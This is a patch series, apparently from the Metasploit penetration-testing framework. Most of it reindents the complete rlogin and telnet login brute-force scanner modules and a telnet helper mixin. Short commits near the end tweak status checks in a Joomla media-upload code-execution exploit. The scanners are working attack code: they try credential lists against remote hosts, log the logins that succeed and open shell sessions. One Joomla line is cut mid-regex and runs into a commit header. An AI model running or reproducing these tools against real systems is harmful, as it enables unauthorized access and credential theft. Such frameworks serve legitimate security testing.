end + # + # This method completes user authentication by sending the supplied password + # + def send_pass(pass, nsock = self.sock) + got_prompt = wait_for(@password_regex) + if not got_prompt + print_error("#{rhost} - Something is wrong, didn't get a password prompt") + end + return send_recv("#{pass}\r\n") + end - def send_recv(msg, nsock = self.sock) - raw_send(msg, nsock) - recv_all(nsock) - return @recvd - end + def send_recv(msg, nsock = self.sock) + raw_send(msg, nsock) + recv_all(nsock) + return @recvd + end - def recv_all(nsock = self.sock, timeout = 10) - # Make sure we read something in - wait_for(/./) - end + def recv_all(nsock = self.sock, timeout = 10) + # Make sure we read something in + wait_for(/./) + end - # - # This method transmits a telnet command and does not wait for a response - # - # Resets the @recvd buffer - # - def raw_send(cmd, nsock = self.sock) - @recvd = '' - @trace << cmd - nsock.put(cmd) - end + # + # This method transmits a telnet command and does not wait for a response + # + # Resets the @recvd buffer + # + def raw_send(cmd, nsock = self.sock) + @recvd = '' + @trace << cmd + nsock.put(cmd) + end - # - # Wait for the supplied string (or Regexp) to show up on the socket, or a - # timeout - # - def wait_for(expect, nsock = self.sock) - if expect.kind_of? Regexp - regx = expect - else - regx = /#{Regexp.quote(expect)}/i - end - return true if @recvd =~ regx + # + # Wait for the supplied string (or Regexp) to show up on the socket, or a + # timeout + # + def wait_for(expect, nsock = self.sock) + if expect.kind_of? Regexp + regx = expect + else + regx = /#{Regexp.quote(expect)}/i + end + return true if @recvd =~ regx - resp = '' - while (resp and not @recvd =~ regx) - resp = recv(nsock) - end + resp = '' + while (resp and not @recvd =~ regx) + resp = recv(nsock) + end - return (@recvd =~ regx) - end + return (@recvd =~ regx) + end end diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index ea109cd153..99e4f6aabf 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -9,330 +9,330 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::RServices - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Login - include Msf::Auxiliary::CommandShell - - def initialize - super( - 'Name' => 'rlogin Authentication Scanner', - 'Description' => %q{ - This module will test an rlogin service on a range of machines and - report successful logins. - - NOTE: This module requires access to bind to privileged ports (below 1024). - }, - 'References' => - [ - [ 'CVE', '1999-0651' ], - [ 'CVE', '1999-0502'] # Weak password - ], - 'Author' => [ 'jduck' ], - 'License' => MSF_LICENSE - ) - - register_options( - [ - Opt::RPORT(513), - OptString.new('TERM', [ true, 'The terminal type desired', 'vt100' ]), - OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ]) - ], self.class) - end - - def run_host(ip) - print_status("#{ip}:#{rport} - Starting rlogin sweep") - - # We make a first connection to assess initial state of the service. If the - # service isn't available, we don't even bother to try further attempts against - # this host. Also, bind errors shouldn't happen and are treated as fatal here. - status = connect_from_privileged_port - return :abort if [ :refused, :bind_error ].include? status - - begin - each_user_fromuser_pass { |user, fromuser, pass| - ret = try_user_pass(user, fromuser, pass, status) - status = nil - ret - } - rescue ::Rex::ConnectionError - nil - end - end - - def each_user_fromuser_pass(&block) - # Class variables to track credential use (for threading) - @@credentials_tried = {} - @@credentials_skipped = {} - - credentials = extract_word_pair(datastore['USERPASS_FILE']) - - translate_proto_datastores() - - users = load_user_vars(credentials) - fromusers = load_fromuser_vars() - passwords = load_password_vars(credentials) - - cleanup_files() - - if datastore['BLANK_PASSWORDS'] - credentials = gen_blank_passwords(users, credentials) - end - - credentials.concat(combine_users_and_passwords(users, passwords)) - credentials.uniq! - - # Okay, now we have a list of credentials to try. We want to merge in - # our list of from users for each user. - indexes = {} - credentials.map! { |u,p| - idx = indexes[u] - idx ||= 0 - - pa = nil - if idx >= fromusers.length - pa = [ nil, p ] - else - pa = [ fromusers[idx], p ] - indexes[u] = idx + 1 - end - [ u, pa ] - } - - # If there are more fromusers than passwords, append nil passwords, which will be handled - # specially by the login processing. - indexes.each_key { |u| - idx = indexes[u] - while idx < fromusers.length - credentials << [ u, [ fromusers[idx], nil ] ] - idx += 1 - end - } - indexes = {} - - # We do a second uniq! pass in case we added some dupes somehow - credentials.uniq! - - fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"] - - credentials.each do |u, fupw| - break if @@credentials_skipped[fq_rest] - - fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u] - - userpass_sleep_interval unless @@credentials_tried.empty? - - next if @@credentials_skipped[fq_user] - next if @@credentials_tried[fq_user] == fupw - - fu,p = fupw - ret = block.call(u, fu, p) - - case ret - when :abort # Skip the current host entirely. - break - - when :next_user # This means success for that user. - @@credentials_skipped[fq_user] = fupw - if datastore['STOP_ON_SUCCESS'] # See? - @@credentials_skipped[fq_rest] = true - end - - when :skip_user # Skip the user in non-success cases. - @@credentials_skipped[fq_user] = fupw - - when :connection_error # Report an error, skip this cred, but don't abort. - vprint_error "#{datastore['RHOST']}:#{datastore['RPORT']} - Connection error, skipping '#{u}':'#{p}' from '#{fu}'" - - end - @@credentials_tried[fq_user] = fupw - end - end - - - def try_user_pass(user, luser, pass, status = nil) - luser ||= 'root' - - vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':#{pass.inspect} from '#{luser}'" - - this_attempt ||= 0 - ret = nil - while this_attempt <= 3 and (ret.nil? or ret == :refused) - if this_attempt > 0 - # power of 2 back-off - select(nil, nil, nil, 2**this_attempt) - vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':#{pass.inspect} from '#{luser}' due to reset" - end - ret = do_login(user, pass, luser, status) - this_attempt += 1 - end - - case ret - when :no_pass_prompt - vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt" - return :skip_user - - when :busy - vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to busy state" - - when :refused - vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to connection refused." - - when :skip_user - vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests" - return :skip_user - - when :success - # session created inside do_login, ignore - return :next_user - - else - if login_succeeded? - start_rlogin_session(rhost, rport, user, luser, pass, @trace) - return :next_user - end - end - - # Default to returning whatever we got last.. - ret - end - - - def do_login(user, pass, luser, status = nil) - # Reset our accumulators for interacting with /bin/login - @recvd = '' - @trace = '' - - # We must connect from a privileged port. This only occurs when status - # is nil. That is, it only occurs when a connection doesn't already exist. - if not status - status = connect_from_privileged_port - return :refused if status == :refused - end - - # Abort if we didn't get successfully connected. - return :abort if status != :connected - - # Send the local/remote usernames and the desired terminal type/speed - sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00") - - # Read the expected nul byte response. - buf = sock.get_once(1) - return :abort if buf != "\x00" - - # NOTE: We report this here, since we are awfully convinced now that this is really - # an rlogin service. - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'login' - ) - - # Receive the initial response - Timeout.timeout(10) do - recv - end - - if busy_message? - self.sock.close unless self.sock.closed? - return :busy - end - - # If we're not trusted, we should get a password prompt. Otherwise, we might be in already :) - if login_succeeded? - # should we report a vuln here? rlogin allowed w/o password?! - print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.") - start_rlogin_session(rhost, rport, user, luser, nil, @trace) - return :success - end - - # no password to try, give up if luser isnt enough. - if not pass - vprint_error("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' failed (no password to try)") - return :fail - end - - # Allow for slow echos - 1.upto(10) do - recv(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] - end - - vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - # Not successful yet, maybe we got a password prompt. - if password_prompt?(user) - send_pass(pass) - - # Allow for slow echos - 1.upto(10) do - recv(self.sock, 0.10) - break if login_succeeded? - end - - vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if login_succeeded? - print_good("#{target_host}:#{rport}, rlogin '#{user}' successful with password #{pass.inspect}") - start_rlogin_session(rhost, rport, user, nil, pass, @trace) - return :success - else - return :fail - end - else - if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ - return :succeeded # intentionally not :success - else - self.sock.close unless self.sock.closed? - return :no_pass_prompt - end - end - - # For debugging only. - #rescue ::Exception - # print_error("#{$!}") - - ensure - disconnect() - end - - - def start_rlogin_session(host, port, user, luser, pass, proof) - - auth_info = { - :host => host, - :port => port, - :sname => 'login', - :user => user, - :proof => proof, - :source_type => "user_supplied", - :active => true - } - - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'FROMUSER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => user, - } - - if pass - auth_info.merge!(:pass => pass) - merge_me.merge!('PASSWORD' => pass) - info = "RLOGIN #{user}:#{pass} (#{host}:#{port})" - else - auth_info.merge!(:luser => luser) - merge_me.merge!('FROMUSER'=> luser) - info = "RLOGIN #{user} from #{luser} (#{host}:#{port})" - end - - report_auth_info(auth_info) - start_session(self, info, merge_me) - - end + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::RServices + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Login + include Msf::Auxiliary::CommandShell + + def initialize + super( + 'Name' => 'rlogin Authentication Scanner', + 'Description' => %q{ + This module will test an rlogin service on a range of machines and + report successful logins. + + NOTE: This module requires access to bind to privileged ports (below 1024). + }, + 'References' => + [ + [ 'CVE', '1999-0651' ], + [ 'CVE', '1999-0502'] # Weak password + ], + 'Author' => [ 'jduck' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(513), + OptString.new('TERM', [ true, 'The terminal type desired', 'vt100' ]), + OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ]) + ], self.class) + end + + def run_host(ip) + print_status("#{ip}:#{rport} - Starting rlogin sweep") + + # We make a first connection to assess initial state of the service. If the + # service isn't available, we don't even bother to try further attempts against + # this host. Also, bind errors shouldn't happen and are treated as fatal here. + status = connect_from_privileged_port + return :abort if [ :refused, :bind_error ].include? status + + begin + each_user_fromuser_pass { |user, fromuser, pass| + ret = try_user_pass(user, fromuser, pass, status) + status = nil + ret + } + rescue ::Rex::ConnectionError + nil + end + end + + def each_user_fromuser_pass(&block) + # Class variables to track credential use (for threading) + @@credentials_tried = {} + @@credentials_skipped = {} + + credentials = extract_word_pair(datastore['USERPASS_FILE']) + + translate_proto_datastores() + + users = load_user_vars(credentials) + fromusers = load_fromuser_vars() + passwords = load_password_vars(credentials) + + cleanup_files() + + if datastore['BLANK_PASSWORDS'] + credentials = gen_blank_passwords(users, credentials) + end + + credentials.concat(combine_users_and_passwords(users, passwords)) + credentials.uniq! + + # Okay, now we have a list of credentials to try. We want to merge in + # our list of from users for each user. + indexes = {} + credentials.map! { |u,p| + idx = indexes[u] + idx ||= 0 + + pa = nil + if idx >= fromusers.length + pa = [ nil, p ] + else + pa = [ fromusers[idx], p ] + indexes[u] = idx + 1 + end + [ u, pa ] + } + + # If there are more fromusers than passwords, append nil passwords, which will be handled + # specially by the login processing. + indexes.each_key { |u| + idx = indexes[u] + while idx < fromusers.length + credentials << [ u, [ fromusers[idx], nil ] ] + idx += 1 + end + } + indexes = {} + + # We do a second uniq! pass in case we added some dupes somehow + credentials.uniq! + + fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"] + + credentials.each do |u, fupw| + break if @@credentials_skipped[fq_rest] + + fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u] + + userpass_sleep_interval unless @@credentials_tried.empty? + + next if @@credentials_skipped[fq_user] + next if @@credentials_tried[fq_user] == fupw + + fu,p = fupw + ret = block.call(u, fu, p) + + case ret + when :abort # Skip the current host entirely. + break + + when :next_user # This means success for that user. + @@credentials_skipped[fq_user] = fupw + if datastore['STOP_ON_SUCCESS'] # See? + @@credentials_skipped[fq_rest] = true + end + + when :skip_user # Skip the user in non-success cases. + @@credentials_skipped[fq_user] = fupw + + when :connection_error # Report an error, skip this cred, but don't abort. + vprint_error "#{datastore['RHOST']}:#{datastore['RPORT']} - Connection error, skipping '#{u}':'#{p}' from '#{fu}'" + + end + @@credentials_tried[fq_user] = fupw + end + end + + + def try_user_pass(user, luser, pass, status = nil) + luser ||= 'root' + + vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':#{pass.inspect} from '#{luser}'" + + this_attempt ||= 0 + ret = nil + while this_attempt <= 3 and (ret.nil? or ret == :refused) + if this_attempt > 0 + # power of 2 back-off + select(nil, nil, nil, 2**this_attempt) + vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':#{pass.inspect} from '#{luser}' due to reset" + end + ret = do_login(user, pass, luser, status) + this_attempt += 1 + end + + case ret + when :no_pass_prompt + vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt" + return :skip_user + + when :busy + vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to busy state" + + when :refused + vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to connection refused." + + when :skip_user + vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests" + return :skip_user + + when :success + # session created inside do_login, ignore + return :next_user + + else + if login_succeeded? + start_rlogin_session(rhost, rport, user, luser, pass, @trace) + return :next_user + end + end + + # Default to returning whatever we got last.. + ret + end + + + def do_login(user, pass, luser, status = nil) + # Reset our accumulators for interacting with /bin/login + @recvd = '' + @trace = '' + + # We must connect from a privileged port. This only occurs when status + # is nil. That is, it only occurs when a connection doesn't already exist. + if not status + status = connect_from_privileged_port + return :refused if status == :refused + end + + # Abort if we didn't get successfully connected. + return :abort if status != :connected + + # Send the local/remote usernames and the desired terminal type/speed + sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00") + + # Read the expected nul byte response. + buf = sock.get_once(1) + return :abort if buf != "\x00" + + # NOTE: We report this here, since we are awfully convinced now that this is really + # an rlogin service. + report_service( + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => 'login' + ) + + # Receive the initial response + Timeout.timeout(10) do + recv + end + + if busy_message? + self.sock.close unless self.sock.closed? + return :busy + end + + # If we're not trusted, we should get a password prompt. Otherwise, we might be in already :) + if login_succeeded? + # should we report a vuln here? rlogin allowed w/o password?! + print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.") + start_rlogin_session(rhost, rport, user, luser, nil, @trace) + return :success + end + + # no password to try, give up if luser isnt enough. + if not pass + vprint_error("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' failed (no password to try)") + return :fail + end + + # Allow for slow echos + 1.upto(10) do + recv(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] + end + + vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") + + # Not successful yet, maybe we got a password prompt. + if password_prompt?(user) + send_pass(pass) + + # Allow for slow echos + 1.upto(10) do + recv(self.sock, 0.10) + break if login_succeeded? + end + + vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") + + if login_succeeded? + print_good("#{target_host}:#{rport}, rlogin '#{user}' successful with password #{pass.inspect}") + start_rlogin_session(rhost, rport, user, nil, pass, @trace) + return :success + else + return :fail + end + else + if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ + return :succeeded # intentionally not :success + else + self.sock.close unless self.sock.closed? + return :no_pass_prompt + end + end + + # For debugging only. + #rescue ::Exception + # print_error("#{$!}") + + ensure + disconnect() + end + + + def start_rlogin_session(host, port, user, luser, pass, proof) + + auth_info = { + :host => host, + :port => port, + :sname => 'login', + :user => user, + :proof => proof, + :source_type => "user_supplied", + :active => true + } + + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'FROMUSER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => user, + } + + if pass + auth_info.merge!(:pass => pass) + merge_me.merge!('PASSWORD' => pass) + info = "RLOGIN #{user}:#{pass} (#{host}:#{port})" + else + auth_info.merge!(:luser => luser) + merge_me.merge!('FROMUSER'=> luser) + info = "RLOGIN #{user} from #{luser} (#{host}:#{port})" + end + + report_auth_info(auth_info) + start_session(self, info, merge_me) + + end end diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 1217f95296..1822edd241 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -9,237 +9,237 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Telnet - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::CommandShell + include Msf::Exploit::Remote::Telnet + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::CommandShell - def initialize - super( - 'Name' => 'Telnet Login Check Scanner', - # - 'Description' => %q{ - This module will test a telnet login on a range of machines and - report successful logins. If you have loaded a database plugin - and connected to a database this module will record successful - logins and hosts so you can track your access. - }, - 'Author' => 'egypt', - 'References' => - [ - [ 'CVE', '1999-0502'] # Weak password - ], - 'License' => MSF_LICENSE - ) - deregister_options('RHOST') - register_advanced_options( - [ - OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0]) - ], self.class - ) + def initialize + super( + 'Name' => 'Telnet Login Check Scanner', + # + 'Description' => %q{ + This module will test a telnet login on a range of machines and + report successful logins. If you have loaded a database plugin + and connected to a database this module will record successful + logins and hosts so you can track your access. + }, + 'Author' => 'egypt', + 'References' => + [ + [ 'CVE', '1999-0502'] # Weak password + ], + 'License' => MSF_LICENSE + ) + deregister_options('RHOST') + register_advanced_options( + [ + OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0]) + ], self.class + ) - @no_pass_prompt = [] - end + @no_pass_prompt = [] + end - attr_accessor :no_pass_prompt - attr_accessor :password_only + attr_accessor :no_pass_prompt + attr_accessor :password_only - def run_host(ip) - overall_timeout ||= [ - datastore['TIMEOUT'].to_i, - datastore['TelnetBannerTimeout'].to_i, - datastore['TelnetTimeout'].to_i - ].max + def run_host(ip) + overall_timeout ||= [ + datastore['TIMEOUT'].to_i, + datastore['TelnetBannerTimeout'].to_i, + datastore['TelnetTimeout'].to_i + ].max - # Check for a password-only prompt for this machine. - self.password_only = [] - if connect_reset_safe == :connected - @strip_usernames = true if password_prompt? - self.sock.close - end + # Check for a password-only prompt for this machine. + self.password_only = [] + if connect_reset_safe == :connected + @strip_usernames = true if password_prompt? + self.sock.close + end - begin - each_user_pass do |user, pass| - Timeout.timeout(overall_timeout) do - res = try_user_pass(user, pass) - start_telnet_session(rhost,rport,user,pass) if res == :next_user - end - end - rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error - return - end - end + begin + each_user_pass do |user, pass| + Timeout.timeout(overall_timeout) do + res = try_user_pass(user, pass) + start_telnet_session(rhost,rport,user,pass) if res == :next_user + end + end + rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error + return + end + end - def try_user_pass(user, pass) - vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'" - this_attempt ||= 0 - ret = nil - while this_attempt <=3 and (ret.nil? or ret == :refused) - if this_attempt > 0 - select(nil,nil,nil,2**this_attempt) - vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset" - end - ret = do_login(user,pass) - this_attempt += 1 - end - case ret - when :no_auth_required - print_good "#{rhost}:#{rport} Telnet - No authentication required!" - report_telnet('','',@trace) - return :abort - when :no_pass_prompt - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt" - return :skip_user - when :timeout - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout" - when :busy - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state" - when :refused - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused." - when :skip_user - vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests" - return :skip_user - when :success - unless user == user.downcase - case_ret = do_login(user.downcase,pass) - if case_ret == :success - user= user.downcase - print_status("Username #{user} is case insensitive") - end - end - report_telnet(user,pass,@trace) - return :next_user - end - end + def try_user_pass(user, pass) + vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'" + this_attempt ||= 0 + ret = nil + while this_attempt <=3 and (ret.nil? or ret == :refused) + if this_attempt > 0 + select(nil,nil,nil,2**this_attempt) + vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset" + end + ret = do_login(user,pass) + this_attempt += 1 + end + case ret + when :no_auth_required + print_good "#{rhost}:#{rport} Telnet - No authentication required!" + report_telnet('','',@trace) + return :abort + when :no_pass_prompt + vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt" + return :skip_user + when :timeout + vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout" + when :busy + vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state" + when :refused + vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused." + when :skip_user + vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests" + return :skip_user + when :success + unless user == user.downcase + case_ret = do_login(user.downcase,pass) + if case_ret == :success + user= user.downcase + print_status("Username #{user} is case insensitive") + end + end + report_telnet(user,pass,@trace) + return :next_user + end + end - # Sometimes telnet servers start RSTing if you get them angry. - # This is a short term fix; the problem is that we don't know - # if it's going to reset forever, or just this time, or randomly. - # A better solution is to get the socket connect to try again - # with a little backoff. - def connect_reset_safe - begin - connect - rescue Rex::ConnectionRefused - return :refused - end - return :connected - end + # Sometimes telnet servers start RSTing if you get them angry. + # This is a short term fix; the problem is that we don't know + # if it's going to reset forever, or just this time, or randomly. + # A better solution is to get the socket connect to try again + # with a little backoff. + def connect_reset_safe + begin + connect + rescue Rex::ConnectionRefused + return :refused + end + return :connected + end - # Making this serial since the @attempts counting business is causing - # all kinds of syncing problems. - def do_login(user,pass) + # Making this serial since the @attempts counting business is causing + # all kinds of syncing problems. + def do_login(user,pass) - return :refused if connect_reset_safe == :refused + return :refused if connect_reset_safe == :refused - begin + begin - vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") + vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - if busy_message? - self.sock.close unless self.sock.closed? - return :busy - end + if busy_message? + self.sock.close unless self.sock.closed? + return :busy + end - if login_succeeded? - return :no_auth_required - end + if login_succeeded? + return :no_auth_required + end - # Immediate password prompt... try our password! - if password_prompt? - user = '' + # Immediate password prompt... try our password! + if password_prompt? + user = '' - if password_only.include?(pass) - print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'") - return :tried - end + if password_only.include?(pass) + print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'") + return :tried + end - print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'") - password_only << pass - else - send_user(user) - end + print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'") + password_only << pass + else + send_user(user) + end - recvd_sample = @recvd.dup - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] - end + recvd_sample = @recvd.dup + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] + end - vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") + vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - if password_prompt?(user) - send_pass(pass) + if password_prompt?(user) + send_pass(pass) - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) if @recvd == recvd_sample - end + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) if @recvd == recvd_sample + end - vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") + vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - if login_succeeded? - return :success - else - self.sock.close unless self.sock.closed? - if @recvd =~ /Not on system console/ # Solaris8, user is not allowed - return :skip_user - else - return :fail - end - end - else - if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ - report_telnet(user,pass,@trace) - return :no_pass_required - else - self.sock.close unless self.sock.closed? - return :no_pass_prompt - end - end + if login_succeeded? + return :success + else + self.sock.close unless self.sock.closed? + if @recvd =~ /Not on system console/ # Solaris8, user is not allowed + return :skip_user + else + return :fail + end + end + else + if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ + report_telnet(user,pass,@trace) + return :no_pass_required + else + self.sock.close unless self.sock.closed? + return :no_pass_prompt + end + end - rescue ::Interrupt - self.sock.close unless self.sock.closed? - raise $! - rescue ::Exception => e - if e.to_s == "execution expired" - self.sock.close unless self.sock.closed? - return :timeout - else - self.sock.close unless self.sock.closed? - print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}") - end - end + rescue ::Interrupt + self.sock.close unless self.sock.closed? + raise $! + rescue ::Exception => e + if e.to_s == "execution expired" + self.sock.close unless self.sock.closed? + return :timeout + else + self.sock.close unless self.sock.closed? + print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}") + end + end - end + end - def report_telnet(user, pass, proof) - print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}") - report_auth_info( - :host => rhost, - :port => datastore['RPORT'], - :sname => 'telnet', - :user => user, - :pass => pass, - :proof => proof, - :source_type => "user_supplied", - :active => true - ) - end + def report_telnet(user, pass, proof) + print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}") + report_auth_info( + :host => rhost, + :port => datastore['RPORT'], + :sname => 'telnet', + :user => user, + :pass => pass, + :proof => proof, + :source_type => "user_supplied", + :active => true + ) + end - def start_telnet_session(host, port, user, pass) - print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => user, - 'PASSWORD' => pass - } + def start_telnet_session(host, port, user, pass) + print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => user, + 'PASSWORD' => pass + } - start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true) - end + start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true) + end end From ab83a12354cc99368d40a3d8d6628427b002dbbb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 13:35:52 -0500 Subject: [PATCH 079/160] Check 302 on anonymous access too --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index bcc7bf8e96..41df364b55 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -200,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote if not res or res.code != 303 fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate") end - elsif res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ / Date: Thu, 5 Sep 2013 13:36:35 -0500 Subject: [PATCH 080/160] Check 302 while checking too --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 41df364b55..1b17678d58 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = get_upload_form - if res and res.code == 200 + if res and (res.code == 200 or res.code == 302) if res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Joomla Media Manager Found but authentication required") return Exploit::CheckCode::Detected From 86ceadc53da3008dd5dba064f43fc9377bd7265b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 13:37:01 -0500 Subject: [PATCH 081/160] Fix target description --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) 